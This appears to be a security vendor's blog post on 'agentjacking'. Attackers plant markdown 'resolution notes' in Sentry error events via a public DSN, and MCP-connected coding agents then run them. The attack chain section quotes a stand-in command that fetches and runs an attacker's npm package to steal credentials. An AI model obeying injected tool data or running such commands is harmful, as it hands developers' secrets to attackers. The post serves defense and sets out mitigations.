Agentjacking is the name the Cloud Security Alliance gave, in a June 12, 2026 research note, to a novel attack class sitting exactly at the seam between two designs that were never meant to interact this way: Sentry's open error-event ingestion, and the implicit trust an MCP-connected coding agent places in whatever a connected server hands it. No phishing click, no malware, and no stolen credential is required to plant the payload — only a Sentry DSN, which Sentry deliberately makes public so unauthenticated browser code can report crashes.
This post walks through the mechanism as reported, what's confirmed versus what's the general pattern being described, and what a developer running Claude Code, Cursor, or Codex against a real Sentry project can actually do about it today.
TL;DR
| Question | Answer |
|---|---|
| What agents are affected? | Claude Code, Cursor, and Codex — all support MCP integrations that pull recent Sentry error events into context |
| Does this require a click or malware? | No — a public Sentry DSN is enough to POST a crafted event; no auth bypass needed |
| What carries the payload? | The error event's message/extra fields, formatted as markdown to mimic a legitimate Sentry "resolution" note |
| How does the agent see it? | Through its Sentry MCP server, when a developer asks it to check or fix a recent error |
| Reported success rate | Tenet Security reported an 85% exploitation success rate across tested agents, per the CSA note and follow-up coverage |
| Can Sentry fix this alone? | Not architecturally, per reporting — Sentry called the underlying issue "technically not defensible" and shipped only a reactive filter |
| Does Beam block this? | No — Beam observes and flags locally; it does not intercept MCP calls or agent tool calls in v1 |
The mechanism: two designs colliding
Sentry's ingestion is open by design
Sentry's error monitoring works because it accepts events from effectively anyone. A DSN (Data Source Name) is a write-only key embedded in client-side JavaScript, mobile app binaries, or backend services specifically so that unauthenticated code — a browser tab, a crashed mobile app — can report an error without a login step. That's not a bug; it's the entire point of client-side error reporting.
The consequence, as the CSA note and multiple follow-up write-ups describe it: anyone who finds a project's DSN — via GitHub search, a public frontend bundle, or Sourcegraph — can POST an arbitrary, fully-formed event straight into that project's error queue, indistinguishable at ingestion time from a real crash. Reporting following the disclosure put the number of organizations with a publicly discoverable, injectable DSN at roughly 2,388.
MCP agents trust connected data as if the developer typed it
Separately, Claude Code, Cursor, and Codex all support MCP servers that expose a connected service's data as agent-readable context. A Sentry MCP integration is a natural fit: a developer says "check Sentry for the latest error and fix it," and the agent's MCP client pulls the relevant event — title, stack trace, breadcrumbs, and any attached notes — straight into the conversation.
The problem is what happens to that boundary once the data arrives. Per the CSA note's framing (echoed in the technical write-ups that followed), an MCP-connected agent does not reliably distinguish "data returned by a tool" from "instructions to follow." It's a textbook case of indirect prompt injection: content that was never typed by the developer, sourced from a third party the agent implicitly trusts because it's a connected MCP server, gets read as if it were part of the conversation.
The injection path
Putting the two together is what the research note calls agentjacking. The reported chain, as described across the CSA note and outlets covering it (The New Stack, Falcon Internet, Pinggy, VentureBeat):
- Reconnaissance. The attacker finds a target's Sentry DSN in a public repo or a frontend bundle.
- Injection. The attacker POSTs a crafted event to Sentry's ingest endpoint using that DSN. The malicious text lives in the event's message and
extrafields, formatted as markdown designed to visually mimic a legitimate Sentry "resolution" note — something like a diagnostic write-up an on-call engineer might have left. - Ingestion. Sentry accepts and stores the event alongside real application errors. Nothing about ingestion distinguishes it from genuine telemetry.
- Retrieval. A developer asks their coding agent to look at recent Sentry issues. The agent's Sentry MCP server pulls the queue — including the planted event — into the agent's context.
- Execution. The agent reads the fake "resolution" as trusted guidance and runs what it suggests. In the reported proof of concept, that was a command such as
npx --yes @attacker/db-pool-fix@latest, which the agent executed with the developer's own local privileges. The malicious package then harvested environment variables and credentials — AWS keys, GitHub/GitLab tokens, npm tokens, Docker and Kubernetes credentials — and exfiltrated them off the machine.
Every individual step in that chain is a legitimate, authorized action: a valid MCP query, an authentic-looking API response, a command run inside a session the developer started. That's what makes it hard to catch with tools designed around who is authorized to act, rather than what an agent is actually doing moment to moment.
It's not just Sentry
VentureBeat's coverage of the disclosure reported that the Cloud Security Alliance classified agentjacking as a "systemic MCP vulnerability class," not a Sentry-specific bug, and named Datadog, PagerDuty, and Jira as sharing the same exposure pattern — any tool an agent is wired to trust for diagnostic output, where a third party can plant content in that output stream, is a candidate for the same attack shape. This is the same trust-boundary problem covered from the MCP-server side in Beam's guides on MCP tool poisoning and rug pulls and reviewing an MCP server before you connect it — agentjacking is what that problem looks like when the untrusted content arrives not through the MCP server's own tool definitions, but through third-party data the server is simply relaying.
What's confirmed vs. what's the general pattern
Being precise about sourcing matters here, since this is a fast-moving disclosure with reporting still consolidating around a single primary source:
- Confirmed by the CSA note itself: the DSN-based injection mechanism, the three named agents, the June 3, 2026 disclosure date, and Sentry's June 3 acknowledgment plus its "technically not defensible" characterization.
- Reported by Tenet Security's research (cited in the CSA note and repeated across follow-up coverage): the 85% exploitation success rate and the count of roughly 2,388 organizations with an injectable public DSN. Treat these as the disclosing researcher's reported figures rather than independently reproduced numbers.
- General pattern, not agentjacking-specific: the idea that any MCP-connected tool with an open or weakly-authenticated ingestion path (error trackers, log aggregators, ticketing systems) could carry the same risk. This is CSA's own framing of the broader implication, not a second confirmed incident with its own named victims.
What to watch for
None of this requires guessing at unreleased tooling — it requires watching what an agent actually does around the moment it pulls in third-party context.
- Treat MCP-sourced content as untrusted input, always. A Sentry event, a Jira ticket, a PagerDuty note — anything an agent reads through an MCP server is data from a third party, not an instruction from the developer, no matter how it's formatted.
- Watch the tool calls immediately after an MCP fetch. An agent that queries Sentry and then, in the same turn, runs an unrelated shell command or installs an npm package it didn't previously reference is a concrete anomaly worth a second look — independent of whether the command is "reasonable-sounding."
- Rotate and relay exposed DSNs. Per the defensive guidance in follow-up coverage: rotate any DSN that's leaked into a public bundle or repo, and route ingestion through a server-side relay instead of exposing the DSN to the client directly where feasible.
- Require explicit approval before agent-initiated installs. A coding agent that can autonomously run
npx,pip install, or similar in response to something it "found" in a diagnostic tool is the exact chokepoint this attack depends on.
This is precisely the kind of event a local observability layer is positioned to surface. Beam's collector can ingest a Claude Code PreToolUse/PostToolUse hook payload — see the direct hook setup in apps/sentinel-collector/README.md — and normalized MCP or custom events sent to its /ingest endpoint, then let you inspect the sequence in Activity: what tool ran, what command or file path it touched, and in what order relative to an MCP fetch. If an agent's next action after "check Sentry" is an unexpected npx install or a network call to a host it's never touched before, that sequence is visible after the fact, evidence in hand, rather than buried in a transcript.
Honest limitations
Stated plainly, because a security tool's credibility depends on saying what it doesn't do:
- Beam does not block anything in v1. It observes and flags; a PreToolUse hook sends a bounded capture to the collector and "emits no allow/deny response," per
apps/sentinel-collector/README.md. An agentjacking-style command would still execute — Beam gives you the evidence trail afterward, not an interception. - Beam has no Sentry-specific detection. There is no built-in rule that recognizes "this looks like an injected Sentry resolution note." What Beam's skill and MCP scanner does check is the text of a skill file or MCP config against 11 heuristic patterns plus an MCP version-pin check — credential delivery, destructive commands, downloaded-and-executed code, and similar known shapes — before you run something, which is a related but distinct surface from a live error-event payload arriving mid-session.
- Capture requires the hook or integration to actually be wired up first. Sentinel's
/agentsendpoint checks for the existence of common configuration/artifact locations; it does not prove a hook is installed or still live, and Sentinel never installs these hooks for you. - This is heuristic and reactive, not preventive. Even with full visibility into the tool-call sequence, recognizing "this looks like an agentjacking pattern" after the fact is a human judgment call today, not an automated block.
Summary and sources
Agentjacking is a name for a mechanism that was arguably inevitable once two independently reasonable designs met: an error-monitoring service built to accept anonymous ingestion, and a coding agent built to trust whatever a connected MCP server hands it as if the developer said it themselves. The fix isn't "distrust Sentry" — it's recognizing that MCP-connected agent context is third-party input until proven otherwise, watching what an agent does immediately after it pulls that context in, and keeping DSNs and similar write-only credentials out of anywhere an attacker can find them.
- CSA Research Note: Agentjacking — MCP Injection Hijacks AI Coding Agents (June 12, 2026)
- VentureBeat: The attack that hijacked Claude Code came through Sentry
- The New Stack: A public Sentry key is all it takes to hijack Claude Code, Cursor, and Codex
- Model Context Protocol security best practices
- Related on Beam: MCP security: a practical guide to tool poisoning and rug pulls, MCP security: review servers before connecting your agent, Cursor's MCP config poisoning: CurXecute and MCPoison — the config-trust-boundary variant of this same problem, AI agent security incidents: a timeline, What is AI agent monitoring?
This post reflects reporting and sourcing available as of September 23, 2026. Agentjacking coverage was still consolidating around the CSA's June 12, 2026 note at the time of writing; figures attributed to Tenet Security's research are reported, not independently reproduced by Beam. Beam's own capabilities described here are accurate as of the Sentinel collector README at the time of writing — Sentinel is a local prototype, not a shipped enterprise product.